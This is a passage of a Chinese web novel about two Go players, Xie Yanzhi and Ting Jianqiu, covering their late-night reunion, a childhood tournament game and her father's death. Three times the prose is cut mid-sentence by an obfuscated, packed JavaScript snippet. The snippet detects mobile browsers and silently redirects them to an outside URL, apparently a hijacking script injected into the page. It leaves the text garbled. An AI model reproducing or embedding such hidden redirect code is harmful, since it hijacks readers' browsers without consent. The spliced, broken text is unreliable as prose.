谢砚之细看,果然孙建民眼底有青黑的痕迹,愧疚道:“爸,我不急着要的,身体第一。” 孙建民笑道:“得了。你查一下邮箱,我把Zen的分析结果发过来了。” Zen,意为“禅”。它的研发目标,是通过数据搜集和深度学习,使人工智能掌握围棋技术。七年前,孙建民任教于江陵大学新生的人工智能学院,发表了几篇重要研究成果后,Zen项目的前身——Insight科技的负责人李智辗转联系上他,提出了这个项目计划。二人一拍即合,立马组织团队,研发攻坚。 如今Zen仍在测试阶段,问题不断,尚未公开,但已经能够完整分析一整局的战况,提出很有用的建议,在复杂的战况中,以人类棋手无法企及的观察力,寻找到“最优解”。 两人又闲聊了几句,挂了电话。 谢砚之并不急着睡觉,打开邮箱,查阅邮件。 京城公开赛,是他以京城华一俱乐部的成员的身份下的最后的几盘棋。在这场比赛中,他又一次带领整个棋队取得团体第一,拿下“最有价值棋手”称号。 领奖之后,他连庆功宴都没参加,收拾行李,径自坐上夜中火车,于凌晨时分回到江陵市。 他知道有很多新闻在唱衰自己。25岁,是一个棋手的盛年,体力与经验都是顶峰,这个时期离开全国最顶尖的棋队,还没有下家兜底,和亲手葬送自己的围棋生涯无异。 没有棋手会做出这么愚蠢的决定。 正当舆论甚嚣尘上,有人匿名爆料,言之凿凿,仿佛亲历:谢砚之提解约当晚,与京城华一的太子爷元天宇六段,在京城华一俱乐部当众大打出手,场面混乱,拉都拉不住。 爆料人绘声绘色,描述得画面感十足,网友惊呼“棋君子”人设崩塌。 正因为这一场大闹,谢砚之在京城华一呆不下去了。 元天宇的父亲是华国棋协的现任主席元修明九段。如果这一消息属实,谢砚之呆不下去的何止京城华一一家俱乐部,恐怕在整个围棋界都难以立足。 谢砚之听说之后,觉得好笑: 元天宇比他年长几岁,却比他矮一个头,长了一张高中生似的圆脸,虽痩,面皮却浮松多肉,单眼皮细长,嘴角总是牵出一个和悦讨好的笑,颧骨如灯笼高提,喜庆万分。不管说什么,他的嗓音里总像碳酸饮料掺着气泡一样,夹杂着轻佻的笑声。 ——他的手是用来下棋的,碰这样的脸,他怕臭了棋。 谢砚之并不回应媒体。 这就是做一名棋手的好处。围棋,又名手谈,棋手只在棋盘之上,用手与棋表达,棋盘之外,无需多说。 更何况,他自有安排。 …… 读完Zen的分析建议,已近凌晨。他脑中翻涌着棋局的变化,越想越兴奋,索性披衣起身,出门闲逛。 云春是父亲的老家。他出生在江陵,除非逢年过节走亲戚,并不怎么回云春。 只有一次。 十二岁那年春天,Z省围棋协会在云春举办省级升段赛,他报名参加4段组,在母亲谢颖的陪同下来到云春。 也是在那一场比赛中,他和庭见秋下了唯一的一盘棋。 凌晨时分,寒意逼人,无星无月。街面上一片寂静,路边偶有鞭炮的红痕,如梅花点点。谢砚之低着头,两手插在口袋中保暖,缓慢地在无人的街道上游荡,脑中飞速地复盘。 走到一户居民楼下,头顶依稀有刻意压低的女声,在阒寂无人的街道上显得无比突兀: “谢砚之!谢!砚!之!” * 如果不是山穷水尽,走投无路,庭见秋怎么也拉不下面子来向谢砚之求救。 尤其是此时,她半边身子探出了窗台,屁股还卡在窗楞上,一条腿在屋内,一条腿在空中,脚尖抵着树杈,左蹭蹭右蹭蹭,回不去卧室,也够不到窗台边的香樟树上。尴尬得像一个小时候学的围棋手筋:老鼠偷油。 小老鼠,偷油吃。偷完油,下不来。 过年回家五天,庭见秋和季芳宴吵了三天,冷战两天。最后季芳宴把院子大门一锁,明言除了初二一早和街上一户人家的侄子相亲,哪都不许去,就在家里待着,不信戒不掉围棋。 见没有转圜之地了,庭见秋决定越狱。 凌晨三点,老妈照顾着有些糊涂的外婆,在楼下卧室里睡熟了,庭见秋悄没声地收拾起了包。不能下楼走正门,大门上了锁,钥匙铁定被老妈贴身安放了,她拿不着。于是,庭见秋心一横,决定爬树。 庭见秋窗前,有一棵向楼房歪斜而生的香樟树,遮光又引虫,曾经给她添了不少麻烦。如今终于轮到这颗树给她做点贡献了。 她拉开窗,背上装满行李的双肩包,钻窗爬树。 树和窗户的距离,比她想得远,她探出身子,手脚能够到树杈,却不知道怎么把整个身子都移到树上来,加上肩上行李不轻,也是一个负担。 正当她已经做好心理准备,放手一搏,大不了从二楼摔下来,顶多骨折养个把月—— 街角,一个身着棕色风衣、肩宽腿长的男人拐了出来。男人低着头,不知道在想些什么,脚步也沉重滞缓。 在云春,大半夜闲逛的人已经很稀奇了,何况这人穿得骚包,不像淳朴的云春老百姓,更显得很怪异。 庭见秋定睛一看,才发现这人自己认识,十几天前刚见过,她还很没道理地把人呛了一通。 谢九段应该没那么小气,不会见死不救吧。 她卡在半空,颤颤巍巍地: “谢砚之——” 谢砚之似乎被突然冒出来的叫声吓了一跳,抬头左右看了看,才在一户与道旁树贴得很近的窗边,发现了半个身子。 他快步到树下: “你干什么?太危险了,你快回去。” 庭见秋欲哭无泪:“我回不去了,我也不想回去,我妈不让我下围棋。” 谢砚之失笑:“那你也不能爬树,你是小孩,还是猫?” 庭见秋又气又急:“别笑话我了,帮我想想办法。” 谢砚之退一步,扬首仔细观察,抬手说:“先把包扔下来,你好爬一点。” 夹在半空中的庭见秋依言乖乖取包,身形摇晃,谢砚之喉口一紧,唤道:“小心。” 庭见秋将包取下来,往下一扔,谢砚之迅捷地接住,顺势背在自己肩上,又抬起手,一副在树下护着她的模样,告诉她哪里可以落脚,指引她慢慢往树上挪。 庭见秋一边爬一边满嘴吱哇声,怕吵醒一楼睡觉的妈妈和外婆,还不能放开嗓子乱叫,谢砚之柔声安抚道:“别怕,掉下来我接着。” 好在一路顺利,庭见秋终于把整个身子都转移到树上,顺着树干手攀树枝撅着屁股往下爬。等离地面还差半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744952|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人高的时候,她右边上臂被一只大手有力地攥住,以一个礼貌的、有分寸感的,同时又很牢固的方式,扶着她,让她平稳地蹭蹬下来。 劫后余生,面对救命恩人,庭见秋的第一句话是: “你大半夜穿成这样走T台来了?” 早就在新闻里听说,谢国手下棋赢了40万奖金,转头就能把30万花在买衣服上,是出了名地爱俏。这一身行头,名不虚传。 谢砚之忽略她话里的揶揄,权当她是夸自己好看,勾起一抹自得笑意:“谢谢,人猿泰山。” 想起方才将她从树上捞下来的手感,他又补了一句: “你太瘦了,回去多吃点,备战定段赛很需要体力的。” 说到定段赛,庭见秋眼前一亮,突然一下子有了生气:“回家五天没碰棋,我要馋死了,现在就回江陵,六点有第一班火车。” 谢砚之看一眼手表:“这个点去火车站,打得到车吗?” “我把这半年赚的钱全放在书桌上给妈妈了,就给自己留了五百块钱,火车票七十,回江陵还得吃饭。”庭见秋飞快地在心里打着小算盘,“没钱打车了,我走过去也就一个小时。” 谢砚之知道她不会接受自己打车送她,更不会收自己的钱,夜深人静,让一个冒冒失失的女生步行去火车站,怎么也放心不下,只好无奈道:“我陪你回江陵。” 行李可以让旅馆的人寄过来。反正明天除了一场姑姑给他定的莫名其妙的相亲,也没别的什么事。 夜色朦胧,庭见秋定定地看着他的脸,似在确认些什么,半晌坏里坏气地一笑:“没想到谢九段人还挺好。” 谢砚之开始担心自己的人身安全。不知道半路上会不会被庭见秋卖了当路费。 临出发,庭见秋绕到屋后。一楼卧室外墙上,一台空调外机正嗡声运转着。庭见秋长出了一口气。 一楼卧室里的空调坏了两年了,季芳宴一直舍不得钱,不肯买新的,冬夏都靠硬撑,整宿整宿睡不着觉。庭见秋用兼职家教赚到的钱,和“岁除杯”的奖金,买了一台新空调回来。新空调送到家的时候,母女俩正冷战,安装师傅感受到家里剑拔弩张的氛围,都不敢进门。 最后是庭见秋冷着脸招呼师傅把空调装好的。 再怎么吵架,她还是舍不得季芳宴女士受一点冻。 看到老妈和外婆没有为了省电费不开空调,庭见秋可以放心离开云春了。 两人相伴夜行,庭见秋在前,谢砚之在后。庭见秋的双肩包始终在谢砚之肩上,路灯昏黄,地上两道一高一矮的瘦长身影。一路没什么话。走出两公里,谢砚之以自己走不动了为由,招了一辆路过的出租车。 六点,天还未亮,小城的天空深处泛起暗紫,两人登上了返回江陵的火车。 谢砚之安放好庭见秋的行李,回到座位上,却见庭见秋已经歪着脑袋,一点不讲究地靠在火车车窗上睡着了,总是不留情面的双唇微张,有些起皮,没什么血色。 谢砚之静静地坐在她身旁右侧,想继续计算那几盘棋的变化,却总是不住地看向身侧女生蓬松蜷曲的长发。 从云春到江陵,火车要开一个小时。 破晓时分,东边霞光初现,芒刺万丈,如金轮夺目。火车向东而去,庭见秋低垂着的苍白面颊正对着光线。谢砚之拿起火车上的厚报纸,探出左臂,小心地扳过她的肩膀,想将报纸隔在她的脸与车窗之间。 ——女生被扰动,不满地嘟囔了一声,像是骂人的话,然后头向右边一歪,轻轻地靠在了谢砚之肩上。 谢砚之浑身一僵。 女生的长发落在他脖颈之间,有点痒。她悠长恬静的呼吸声,填满他全部的思绪。 谢砚之像受惊一般地别开眼。左边肩膀被枕着,动弹不得,他只好右手高高举起厚报纸,替她挡着光。 还好这一节火车只有他们俩。 没有第二个人看到他红透的耳根。 5. 棋逢对手 二十多年前,云春市围棋教室里流传着一个恐怖故事: 如果你的棋力高到可以冲段了,庭岘老师会在一个下午,把你叫过去,带到一个阴暗的小教室里。在那里,一个短发小女孩端坐在北窗前,神情肃穆,面前是一张棋盘,两碗棋子。 庭岘老师会这么告诉你: “下赢她,我就给你报名升段赛。否则就不要浪费钱和时间了。” 眼前的小女孩只有四五岁的模样,面颊上肉嘟嘟的,却没有一点孩子气,凶神恶煞地直盯着对手。 庭岘老师交代好规则,转身离开,还带上了房间的门。 有一瞬间,你以为这个小孩会突然扑上来,像狼人故事里一样,把你生吞活剥,再意犹未尽地舔干地上的血迹。 再后来,你发现她不过是一个普通小女孩,因为个子小,手臂短,每次都得站起来才能在棋盘稍远离自己的地方下子。连手指都是小孩模样,又短又肥,像一截小萝卜,提子的时候,小手包不住太多棋子,只能一颗、一颗地把弃子搬运到棋盘外。 还挺可爱的。 但是再后来,你会巴不得她真的是个狼人小孩,在你进门的那一刻就用锋利的牙齿咬穿你的喉咙。 输棋,惨烈地输棋,比起被活活吃了,难受一万倍。 从那个小房间里出来,除去寥寥几个棋手,不必庭岘多说,自己都不会再提报名升段赛的事了。 连一个四五岁的女娃娃都下不过,就别丢这个人了。 数年过去,云春市围棋教室的经典鬼故事仍传播不息,只是细节变了。阴暗教室里坐着的小女孩如笋节般抽条长大,仍总板着一张脸,却已经现出一丝清秀,不再像狼人小孩一样吓人了。而庭岘老师的说法也变了: “只要你能在她手里活下一块棋,我就给你报名升段赛。否则就不要浪费钱和时间了。” 女孩柔软的手里握着一把棋,将粉馒头似的拳头递到新来的对手面前,掀起眼皮,仍是直率又野心勃勃的眼神,脆生生地开口道: “猜先,还是我让先?” 即便后来,人人都知道她不过是庭岘的掌上明珠庭见秋,不是什么天山童姥、狼人女孩,棋室里的学生还是人人称畏。 天赋卓绝,庭岘五段又自幼培养,庭见秋理所当然地成为了云春市儿童围棋的神话,在各类赛事中所向披靡,直升4段。 12岁那年,省级业余围棋升段公开赛在云春举办,庭见秋报名4段组。 在这种规格的比赛中,4段组的前6名有升段机会,第一名和第二名可以直升6段。只要升至业余5段,下一步就是职业定段赛,她离像父亲庭岘五段一样以围棋为生,只有一步之遥。 主场作战,她信心十足。 赛程果然顺利。比赛第一天,庭见秋一路高歌猛进,上午连拔两城。中午小憩回来,庭岘面上有点发愁: “刚刚,第三轮对战名单公示出来了。你抽签抽到谢砚之了。” 谢砚之。 庭见秋对这个名字有印象。他母亲是谢颖九段,华国第一位升至九段的女棋手,棋风如巨斧一般悍然,她最爱谢颖九段在名人赛上力战男性棋手的几局棋,打过好几遍谱。至于谢砚之,貌似和自己同岁,庭见秋在云春,谢砚之在江陵,幼时参加过同一场省级比赛,庭见秋是女子组第一,谢砚之是男子组第一,在一个领奖台上领过奖,此外并没有交集。 这场比赛不分男女子组,只看段位,所以她才有机会和谢砚之对上。 庭见秋歪头一笑:“谢砚之有这么吓人吗?” 庭岘见庭见秋并没有因此焦虑,也释然一笑:“他确实是这次参赛名单中,唯一能和你一敌的选手,没想到第三轮就碰上了。” 庭见秋小小的胸腔里跃起一只躁动的鸽子。比起紧张,更多地,是棋逢对手的兴奋。 “老爸,你就期待一下下午这场棋吧。”她面上浮现出狂喜的神色,“会很好看、很好看的。” * 赛程公示之前,谢颖已在棋协的朋友处得知抽签结果。 为了方便备战,谢颖在举办比赛的会议中心附近一家安静的宾馆里订了一间房间。谢砚之比完赛,中午可以来宾馆里休息,复盘。 和庭岘一样,谢颖略有担忧地将抽签结果告知谢砚之。 直升6段,只有两个名额。 庭见秋是谢砚之唯一的对手。输给庭见秋,仍有直升6段的可能,但不知道自小罕见敌手的谢砚之,会不会在输棋之后心态动摇,影响接下来的比赛。 “庭见秋?” 谢砚之正在复盘上午的两局棋,赢得毫无悬念,复盘也索然无味;听到这个名字,一向稳重老成的男孩从椅子上腾地站起来,木椅翻倒匍地,落在厚绒地毯上,一声钝响。 谢颖正想劝慰他不必紧张,庭见秋未必像传闻一样势不可挡—— “终于能和庭见秋下一盘了。” 男孩绝无一点紧张,白皙稚嫩的脸上满是喜悦。谢颖一怔。 “妈,你等我下完棋,复盘给你看。妈,我等不及了,我先去赛场吧。妈……” * 下午一点,对局开始。 谢砚之很早就已经等在棋桌前。 左手边,是他和庭见秋挨在一起的名牌。抽签不仅决定对阵名单,也决定持方,他执黑,庭见秋执白。 男孩伸着纤长的脖子,满脸企盼地望着大门口,穿着白色球鞋的脚在棋桌下着急地晃来晃去。等到他见过几眼的、毛发蓬松的圆脑袋出现在大门口,他又急忙把脖子缩了回去,装出一副气定神闲的模样。 庭见秋镇静地落座。 正当谢砚之暗想她是不是没听说过自己,要不要做个自我介绍,却见女孩冲他狡黠地眨了眨眼睛,一双眸子如玻璃珠一般清澈明亮,嘴唇小巧,几不可察地做出口型: “加、油。” * 庭见秋擅长执黑,因为黑棋先行,可以决定布局,提早定型,采取攻势,而她最喜欢杀棋。三岁启蒙,她最早学会的围棋术语是:“断。”盘面上,凡有薄弱断点,她都会伸出短胖的食指,奋力在纵横之间戳戳: “断!断!断!” 庭岘笑她贪吃,好胜,杀气太甚。 十载春秋后,昔日满口嚷“断”的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744953|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃娃,长成棋盘上一尊杀神。 可惜对战谢砚之的这一盘棋,她却分到了白子。 在职业棋手的对决中,黑棋胜率远高于白棋。正因如此,为公平起见,黑棋须贴目,即在最后计算目数的时候,将一定的目数贴还给白棋。即便现如今的部分围棋赛事中,黑棋需要贴7目半之多,从胜率上来看,执黑先行,仍然微微占优。 庭见秋屏息落子。 面前,谢砚之二连星开局,庭见秋选择错小目。下一手,谢砚之挂角,庭见秋二间低夹,稳健地走着定式。开局三十手,二人都是本手,落子坚实,似在彼此迂回试探,盘面基本上是五五开,没有谁明显占优。 很快,两人渐进状态,棋风越发大胆狠辣,一场激战在右下中腹部一触即发。 行至中盘,庭见秋忽然觉得小腹钝痛,她心道不好,可能是中午吃杂了。局势紧张,她舍不得暂停打断思路,略弓下身子来,强忍着腹痛下棋。 谢砚之也觉察到女孩状态不佳,脸色发白,忧心地看了她几眼。见她没有暂停的意思,落子仍然十分犀利,便低下头,继续应对。 又十几手,庭见秋突然感到有一股不受控的液体……她脸色白了又红。 不会吧,难得遇上一个值得尊敬的同龄棋手,难道要当着他的面尿裤子了? 她猛地起身,举手叫来裁判,说要去一下厕所,暂停比赛,不等裁判回应,飞快拧身就走。 谢砚之眼尖,看到庭见秋浅色休闲裤上的痕迹,也跟着站起身,小声叫道:“你等一下。” 庭见秋困惑地回头。 男孩略低着头,脸上有些不自然的红晕,他脱下印着江陵棋院四个字的外衣,走到庭见秋面前,将外衣环过她身后,系在她的腰上,堪堪遮住红痕。 “没事了。”男孩小声说,脸却越来越红。 庭见秋离开的十分钟里,谢砚之又问裁判要了一杯热水,放在庭见秋侧。 他有些忐忑,不知道自己的行为是不是太唐突了。 好在庭见秋回到赛场时,腰上仍然围着他的外套,表情上也不见什么异常,想必是在厕所里都收拾好了,回来一撸袖子就要开杀。 ——收拾好了,个屁啊! 庭见秋面上平静,手下落子不停,心里却在大叫。 这是初潮,只在老妈口中和课本里听说过的初潮!她在厕所隔间里,看到裤子上一片狼藉,眼前一黑。 好在女厕所里还有一个人,她大着胆子求助: “请问,您有卫生巾吗?” 有卫生巾,她也不会用啊! 女人很热心:“有啊,我从下面给你递过来。” 从隔间门板下,伸过一双修长匀净的手,手上握着一片粉红。 庭见秋感激地接过,左右打量这张薄片,无从下手。她欲哭无泪,只好再次开口,心中祈祷女人不要嫌弃自己: “请问,您能教教我怎么用卫生巾吗,我第一次来……” 女人爽快答应:“好,你把门打开。” 庭见秋提起裤子,乖乖开门。 门口,赫然是她仰慕已久的谢颖九段。 6. 下次见 眼前的女人生了一张白皙的鹅蛋脸,乌黑柔顺的直发披散在肩后,着装简便,不施粉黛,驼峰鼻高挺,架一副轻便的金丝眼镜,整个人看起来典雅干练。 只是透过厚厚的眼镜片看人时,有点凶。 面对谢颖九段,庭见秋不觉打了个磕巴,还没来得及打招呼,倒是谢颖先认出她来: “啊,是庭见秋小棋手吧。” 说着,眼神向下游移,往她腰间系着的江陵棋院院服撇去,随即露出了然的神情。 庭见秋赶忙躬身问好:“谢颖老师,您好。” 她做梦都想和谢颖九段说上两句话,但绝不是站在会议中心女厕所的蹲坑上。 谢颖被她随着躬身而乱颤的蓬松短发逗得一乐。手把手教她怎么使用卫生巾后,谢颖没忍住轻轻揉了一把她的头发,和声说: “头发这么卷的话,还是留长会比较好看哦。” 等到庭见秋处理好,走出隔间,谢颖已经离开了。 * 庭见秋和谢砚之的这一局棋,最终下了两个多小时。庭见秋短暂休整回来后,棋风愈显杀伐凌厉,谢砚之也并不避战。盘面上,无数复杂的战斗缠绕在一起,如两条九头之蛇,一黑一白,首尾相衔,因果复杂。 两人身边围了十余名静默观棋的棋友与教练,却恍若不觉,平心静气地将这局棋下至最后一个官子。 总裁判长慎重地点目之后,判庭见秋一目半取胜。 庭见秋在官子环节就算出了这个结果,并不算太意外。棋局终了,她猛地卸下力气,身子瘫软在椅子靠背上。 谢砚之起身,走到她身边,笑道:“下得很好。” 庭见秋疲乏地支起脑袋来:“你也是。” 人群中,男孩与女孩相视而笑。 分明不久之前,两人还是初次见面,此刻却熟稔得仿佛已经交换过灵魂最深处的秘密。这是围棋的意义:棋路会暴露心路,人手握黑白子时,一切阴暗曲折,都无所遁形。 而庭见秋和谢砚之展现在这盘棋中的心路,都明亮皎洁,如冰轮初升。 两枚独身行路的璞玉,在十二岁的春天,棋上相逢。 * 赛程一共三天。 第二天、第三天,谢砚之与庭见秋各自有仗要打。庭见秋往往结束飞快,在中盘凭力量取胜,抱着她装满红糖热水的小水壶,优哉游哉地往还在苦战的谢砚之位子边上一逛,伸头伸脑地探看。如果局势不紧张,谢砚之也会抬头冲她笑眯眯地看看,像是在说你来啦,看她对这盘棋的战况做出或皱皱鼻子或摇摇脑袋的小动作。 如果逮着能说话的机会,俩小脑袋凑一块去,一副大人腔调,谈棋言简意赅: “扳不错。” “你看出来我有后手了。” “那肯定。” “刺呢?” “真不如挖……” “俗。” “怂!” 小孩拱着脑袋辩论,一旁的家长紧张地社交着: “您好您好我是庭岘,庭见秋的家长……” “您客气了,我知道您,当年华日擂台战里很有表现的,现在退一线啦?” “老了,比不过年轻人,不如开个棋院教教下一代……” 第三日下午,庭见秋收尾最后一局棋,成功拿下十二连胜,斩获第一,直升6段。谢砚之除去和庭见秋的那局棋以一目半的微弱劣势败北,余下十一局,没有棋力相当的对手,稳稳地位居第二,拿到了另一个直升6段的名额。 颁奖典礼结束,谢砚之离开赛场时,看见赛场入口处,庭见秋歪着身子,没坐相地趴在一张桌子上,身侧随便地搁着一等奖的玻璃奖杯和奖状,藕节般的小臂埋在稿纸上,不知道在写写涂涂什么。 谢砚之走近一看,是作文簿。 他一年前就已经修完了小学和初中的全部课程,离开校园,住进棋院,全心冲段。他很久没见过学校里发的这种鹅黄色的作文簿,更很久没有写过作文了。 庭见秋分明在等他,这会又被他吓了一跳。 谢砚之笑问:“这是什么?” “周记呗。”庭见秋做了个鬼脸,拖长声道,“你们学校没有布置周记吗?” 谢砚之悄无声息地垂下眼,掩盖失落。 庭见秋想起自己费劲等他,是要说什么了: “这几天雨一直不停,你的外套洗了之后还没有干,下次见面的时候给你。” “没事的,这种外套我有的是。” 但“下次见面”这种说法太诱人了。 谢砚之张了张嘴,又说:“那你下次见面,记得给我。” 女孩用力点了点头,一副君子死然诺的模样。 谢砚之试探地问:“你有Q/Q号吗?” 最近Q/Q大热,不少中小学生涌进黑网吧,就为注册一个Q/Q号。庭见秋为了赶班上同学的时髦,也注册了一个。 “有哇。” 谢砚之有些不好意思地说:“你写给我,我回去加你好友。” 庭见秋利落地从作文簿上扯下一张纸。谢砚之这才发现,她压根没在好好写作文,她拿作文簿的格子当围棋棋盘,勾一个圈是白子,涂一个实心的圆是黑子——自己和自己下棋玩呢。 不知道她老师收到这样一份作业该有多生气。 庭见秋浑然不觉有什么不对,飞快地写了一串数字,递到谢砚之手里: “好了,要加哦。” 谢砚之紧紧捏住。 他还忍不住想着“下次见面”这四个字。 谢砚之问:“下次见面……定段赛在七月份,你来吗?” 职业围棋定段赛,是围棋界的高考,业余棋手蜕变成职业棋手的必由之路。决定一生行棋的棋手,必须在参加定段赛中的数百人中,取得前二十名,才能获得围棋职业初段资格。 女孩粲然一笑:“我知道,我会来的。” * 十三年后,寒风中,夜色里,路灯下。 当年圆脑袋、短头发、不修边幅的小女孩,已经长成果敢锐利的弯刀似的女性,面上偶然露出一抹笑意,如冰消雪融,斩尽春风。 她对他说了一样的话: 我知道,我会来的。 * 火车即将停站,庭见秋迷迷糊糊地睁开眼。睡得脑子混沌,她反应了一会自己在哪,旋即慢悠悠地打个哈欠。 想起来了,离家出走来着。 谢砚之一脸好笑地看着她,将自己刚在火车上找乘务员买的一袋面包递给她,庭见秋接过,望着手里的面包出神。 谢砚之猜她又要跟自己算账:“别问我这个面包多少钱,反正你剩下的那点钱肯定买不起。” 庭见秋认命地埋头用力咬了一口面包。 谢砚之怕她吃太快噎着,又赶紧拧开一瓶矿泉水递过去。庭见秋再不客气,仰首大口喝净了,小动物似的一抹嘴,嘟囔道: “还是和小时候一样体贴啊你。” 谢砚之一愣,瞪大眼,提高声量:“你记得我?” 庭见秋低头啃面包之余,还不忘白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744954|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一眼:“要是不记得你,借我八百个胆子也不敢跟你走夜路。” 谢砚之心想,她还不算太笨。 “更何况,”庭见秋边吃边念,“你和你小时候长得一模一样。眼睛大大的,嘴唇红红的,像个小姑娘。我们那时候都叫你小燕子。” “最好不是《还珠格格》里那个小燕子……” 庭见秋打了个响指:“对。没想到你除了下棋,还看电视剧。” 谢砚之:…… 谢砚之无声地闹了半分钟别扭,庭见秋浑然不觉,飞快地吃完了手里的面包,谢砚之余光瞥见,顺势便接过包装纸,帮她扔进火车道中的垃圾桶里,动作流畅得过了头,两秒后他才反应过来自己应该在闹别扭。 庭见秋坏笑道:“谢谢你啊小燕子。” 算了,他接受了。 谢砚之轻咳一声,缓慢地: “所以,当年升段赛,你为什么没有来?” 庭见秋默然,面上的笑意渐失,神色有些黯淡。 谢砚之其实心里早就猜到了个七七八八:“是因为庭老师的事……” “你都听说了?” 庭岘的事闹得太大,整个Z省棋圈,没有人不知道的。 谢砚之听见自己喉咙口发出不自然的吞咽声: “节哀,我很抱歉……” “没关系,都这么多年了。”庭见秋淡道,“你们都知道我老爸是脑肿瘤去世的。其实,当年他查出脑肿瘤之后,一直积极治疗,手术,住院,花了很多钱,情况不算乐观,至少多少好转了一点。所以我们就接他回家了。” 庭岘在医院与死神拉锯的半年中,全家都在一起角力。季芳宴一边在高中里教语文,一边四处筹钱,一逮到空闲时间就去医院照料庭岘;庭见秋停下了她钟爱的围棋课,帮着季芳宴分担家务,每天把家务活干完之后,一个人背着小书包转两班公交车去上学。 所以庭岘出院的那一天,全家都很高兴,热闹得像过年一样。 季芳宴说,这是老天开眼,苦尽甘来。 庭见秋也在心里暗自想,如果能就此一家人健健康康地在一起,就算不下围棋,也没什么大不了的。 庭岘出院的第三天,一大早,庭见秋去上学,季芳宴出门买菜。等季芳宴中午回到家中,本该在家的庭岘却不见了。 季芳宴吓得立马报了警,又给学校打了电话,要庭见秋赶紧回家,帮着找爸爸。 傍晚时分,心急如焚的母女俩终于有了庭岘的消息: 他在四十公里外的一班公交车上,突发脑溢血去世了,怀里抱着的两罐质地温润如玉的云子,洒落一地。 “我至今都不知道老爸拖着病重的身子,抱着两坛这么重这么贵的棋子,是去赴谁的棋约。老妈从此也不让我下棋了,她说老爸就是下棋下出疯病来了,命也不要了。老实说,亲眼见到老爸……那个样子,还有一地的碎棋子,我也害怕了。” 庭见秋嗓音低哑沉静,似飓风过境之后的城镇,一片令人心惊的静谧。 这段往事,从未向他人启封过。 她向一个只见过几面的男人叙说,觉得像西西弗斯卸下肩上巨石一般畅快。 “但是——” 她略一停顿,转头望向谢砚之,男人静默地听着,轮廓柔和的双眼里闪烁着不忍。 “重新开始下棋,重新觉得下棋是一件这么快乐的事,让我觉得,如果老爸是在对和友人大战一番的期待中去世的,是不是也很好呢?梦里,他应该已经见到了他的老朋友,下完了他的棋吧。” 7. 天壤云泥 “老爸去世之后,老妈状态一直很差,没法再教书了。我一边上学,一边照顾她。她说不想看到我下棋,我就真的不下了。十几年。按部就班地参加中考、高考。刚离开围棋的时候,我以为我是为围棋而生的,没有围棋我活不了了,没想到十几年下来,也活得好好的。” 谢砚之略向庭见秋偏着脸,边听边回忆起那个在作文簿上涂画当棋盘的女孩。无法想象她抛弃自己最热爱的事,温驯地适应应试教育体系的样子。 庭见秋将脸偏向车窗,谢砚之只看得见她挺秀的、暗示着野心的鼻尖,和苍白的半边面颊。 * 谢砚之斩获第一、成功定段的那天,庭见秋在医院里照料庭岘,为他擦拭身体的间隙,抬头看到病房电视上,Z省地方台的体育新闻里,有谢砚之的名字。 新闻里说,他是不世出的天才,棋界新星,最有九段潜力的初段选手。 电视上的男孩捧着围棋初段的证书,面向记者,露出老成得体的微笑。 庭见秋仿佛被这笑意刺痛,慌乱地低下头,不敢再看。她在心中不服气地安慰自己:没关系,还可以参加明年的定段赛,到时候我的名字也会出现在那里——但是,她再也没有机会了。 再后来,谢砚之远赴朝国首尔围棋道场,在有“朝国棋圣”之称的韩智闵座下学棋;庭见秋以出挑的文化课成绩,先升入云春高级中学,再考进江陵大学。 只有填写档案时,她会想起自己幼时在棋赛中挣得的国家二级运动员证书,其他时候,她就只是一个再寻常不过的好学生。 辉煌璀璨的围棋岁月,已经黯淡太久,回想起来就像一个不真切的梦。 在大学里,她拥有了自己的第一台笔记本电脑。 她在浏览器上输入的第一个词条,是谢砚之的名字。 与谢砚之有关的新闻占了整整十三页。 她自虐般地一条条浏览下去,才知道谢砚之已经回国,与京城华一签约,即将代表华国,重返首尔,参加“英华杯”决赛。 “英华杯”赛程足有半个月。 那半个月里,她白天看赛程转播,晚上和围棋聊天室的棋友讨论战况,复盘战局,去教学楼上课的时候才枕着课本合一合眼。 “英华杯”是擂台赛制,选手需一人挑战对手国的整支队伍,单败淘汰。比赛结束时,尚未被淘汰的最后一名选手所属的队伍即为冠军。 赛程前半段,朝国主将金真敏九段是大热门,棋友讨论的焦点。在此之前,他已经在各大赛事中连胜二十五场,令无数老将强将折戟,状态强势一如鼓满风的船帆,迅猛地驶向“英华杯”的赛场。 ——然后在十八岁的华国副将谢砚之五段处,触礁,沉底。 庭见秋永远不会忘记自己在宿舍里收看这局棋的转播的心情。谢砚之棋风凌厉,如贯日长虹,直抵白棋腹心,连番拷问对手薄弱点,最终力挽狂澜,逆转战局。 眼看谢砚之即将取得胜利,庭见秋突然伏倒在桌面上,崩溃大哭。 